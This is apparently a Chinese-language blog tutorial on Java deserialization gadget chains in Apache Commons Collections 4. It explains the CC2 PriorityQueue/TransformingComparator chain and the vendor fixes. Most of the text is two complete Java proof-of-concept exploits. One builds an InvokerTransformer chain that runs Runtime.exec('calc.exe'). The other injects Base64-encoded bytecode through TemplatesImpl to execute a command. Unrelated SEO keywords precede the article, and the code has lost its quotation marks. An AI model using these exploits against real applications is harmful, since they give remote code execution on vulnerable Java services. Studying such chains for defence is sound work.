网站建设公司名称,网站建设方案服务公司,写作网站打不开,网站建设实验原理一、概述4.0版本的CommonsCollections对之前的版本做了一定的更改#xff0c;那么之前的CC链反序列化再4版本中是否可用呢。实际上是可用的#xff0c;比如CC6的链#xff0c;引入的时候因为⽼的Gadget中依赖的包名都是org.apache.commons.collections #xff0c;⽽新的包…一、概述4.0版本的CommonsCollections对之前的版本做了一定的更改那么之前的CC链反序列化再4版本中是否可用呢。实际上是可用的比如CC6的链引入的时候因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ⽽新的包名已经变了是org.apache.commons.collections4 。我们⽤已经熟悉的CommonsCollections6利⽤链做个例⼦我们直接把代码拷⻉⼀遍然后将所有import org.apache.commons.collections.*改成import org.apache.commons.collections4.*并且新版本中去掉了decorat方法替代的是lazyMap方法。其他的代码不需要改变即可创建出新版本下的利用链。同理CC1、CC3的链也是一样的调整修改后均可在commonscollections4中使用。二、新链1.CommonsCollections2——PriorityQueu在CommonsCollections2中用到了两个关键的类java.util.PriorityQueueorg.apache.commons.collections4.comparators.TransformingComparator其中java.util.PriorityQueue的readObject()方法调用了heapify()。org.apache.commons.collections4.comparators.TransformingComparator中的compare()方法调⽤到transform() ⽅法所以CommonsCollections2实际就是⼀条从PriorityQueue 到TransformingComparator 的利⽤链。PriorityQueue#readObject()-- heapify() -- siftDown() -- siftDownUsingComparator() -- comparator.compare() -- TransformingComparator#compare()总结一下java.util.PriorityQueue 是⼀个优先队列Queue基于⼆叉堆实现队列中每⼀个元素有⾃⼰的优先级节点之间按照优先级⼤⼩排序成⼀棵树反序列化时为什么需要调⽤heapify() ⽅法为了反序列化后需要恢复换⾔之保证这个结构的顺序排序是靠将⼤的元素下移实现的。siftDown() 是将节点下移的函数⽽comparator.compare() ⽤来⽐较两个元素⼤⼩TransformingComparator 实现了java.util.Comparator 接⼝这个接⼝⽤于定义两个对象如何进⾏⽐较。siftDownUsingComparator() 中就使⽤这个接⼝的compare() ⽅法⽐较树的节点。代码如下import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class CC2 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {Transformer[] fakeTransformers new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }),new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer(exec, new Class[] { String.class }, new String[] { calc.exe }),};Transformer transformerChain new ChainedTransformer(fakeTransformers);//创建一个TransformingComparator传入我们创建的transformerChainComparator comparator new TransformingComparator(transformerChain);//实例化PriorityQueue 对象第⼀个参数是初始化时的⼤⼩⾄少需要2个元素才会触发排序和⽐较所以是2第⼆个参数是⽐较时的Comparator传⼊前⾯实例化的comparatorPriorityQueue queue new PriorityQueue(2, comparator);//后⾯随便添加了2个数字进去这⾥可以传⼊⾮null的任意对象因为我们的Transformer是忽略传⼊参数的queue.add(1);queue.add(2);//最后将真正的恶意Transformer设置上setFieldValue(transformerChain, iTransformers, transformers);SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize(test.bin);}
}改造无数组链import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;public class CC2_TemplatesImpl {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code Base64.getDecoder().decode(yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS);TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][]{code});setFieldValue(obj, _name, test);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());//创建⼀个⼈畜⽆害的InvokerTransformer 对象并⽤它实例化ComparatorTransformer transformer new InvokerTransformer(toString, null, null);Comparator comparator new TransformingComparator(transformer);//实例化PriorityQueue 对象第⼀个参数是初始化时的⼤⼩⾄少需要2个元素才会触发排序和⽐较所以是2第⼆个参数是⽐较时的Comparator传⼊前⾯实例化的comparatorPriorityQueue queue new PriorityQueue(2,comparator);//如何为了我们调试的时候避免发生命令执行往里面加入两个无用的值。queue.add(1);queue.add(1);//最后将真正的恶意Transformer设置上setFieldValue(transformer, iMethodName, newTransformer);//反射获取queue对象中queue的参数强转赋值给queueArray并且修改其中的值为我们实际的TemplatesImpl对象。
// Field queuefield queue.getClass().getDeclaredField(queue);
// queuefield.setAccessible(true);
// Object[] queueArray (Object[]) queuefield.get(queue);
// queueArray[0] obj;
// queueArray[1] 1;setFieldValue(queue, queue, new Object[]{obj, obj});// SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize(test.bin);}
}三、思考1.PriorityQueue的利⽤链是否⽀持在commons-collections 3中使⽤答案不能。因为这条利⽤链中的关键类org.apache.commons.collections4.comparators.TransformingComparator 在commonscollections4.0以前是版本中是没有实现Serializable 接⼝的⽆法在序列化中使⽤。2.Apache Commons Collections官⽅是如何修复反序列化漏洞的Apache Commons Collections官⽅在2015年底得知序列化相关的问题后就在两个分⽀上同时发布了新的版本4.1和3.2.2。在3.2.2中新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization ⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerializationtrue 即默认情况下会抛出异常。4.1中这⼏个危险Transformer类不再实现Serializable 接⼝也就是说他们⼏个彻底⽆法序列化和反序列化了。